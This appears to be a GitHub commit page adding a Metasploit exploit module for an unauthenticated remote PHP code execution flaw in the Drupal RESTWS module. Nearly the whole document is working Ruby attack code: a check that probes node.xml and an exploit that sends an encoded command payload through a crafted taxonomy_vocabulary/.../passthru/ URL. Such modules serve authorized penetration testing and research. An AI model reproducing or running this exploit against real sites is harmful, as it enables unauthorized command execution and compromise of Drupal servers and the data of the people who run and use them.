Skip to content

Commit c8deb54

Browse files
committed
Add Drupal RESTWS Remote Unauth PHP Code Exec
1 parent 26da2a2 commit c8deb54

File tree

1 file changed

+80
-0
lines changed

1 file changed

+80
-0
lines changed
Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => 'Drupal RESTWS Module 7.x Remote PHP Code Execution',
16+
'Description' => %q{
17+
This module exploits the Drupal RESTWS module vulnerability.
18+
RESTWS alters the default page callbacks for entities to provide
19+
additional functionality. A vulnerability in this approach allows
20+
an unauthenticated attacker to send specially crafted requests resulting
21+
in arbitrary PHP execution
22+
23+
This module was tested against RESTWS 7.x with Drupal 7.5 installation on Ubuntu server.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'Devin Zuczek', # discovery
29+
'Mehmet Ince <[email protected]>' # msf module
30+
],
31+
'References' =>
32+
[
33+
['URL', 'https://www.drupal.org/node/2765567']
34+
],
35+
'Privileged' => false,
36+
'Payload' =>
37+
{
38+
'DisableNops' => true,
39+
'Space' => 1024,
40+
'Compat' =>
41+
{
42+
'PayloadType' => 'cmd',
43+
'RequiredCmd' => 'generic python',
44+
}
45+
},
46+
'Platform' => 'unix',
47+
'Arch' => ARCH_CMD,
48+
'Targets' => [ ['Automatic', {}] ],
49+
'DisclosureDate' => 'Jul 13 2016',
50+
'DefaultTarget' => 0
51+
))
52+
53+
register_options(
54+
[
55+
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
56+
], self.class
57+
)
58+
end
59+
60+
def check
61+
url = normalize_uri(target_uri.path, "node.xml")
62+
res = send_request_cgi(
63+
'method' => 'GET',
64+
'uri' => url
65+
)
66+
if res && res.code == 403
67+
return Exploit::CheckCode::Appears
68+
end
69+
return Exploit::CheckCode::Safe
70+
end
71+
72+
def exploit
73+
r = rand_text_alpha(4 + rand(4))
74+
url = normalize_uri(target_uri.path, "taxonomy_vocabulary/" + r + "/passthru/" + Rex::Text.uri_encode(payload.encoded))
75+
send_request_cgi(
76+
'method' => 'GET',
77+
'uri' => url
78+
)
79+
end
80+
end

0 commit comments

Comments
 (0)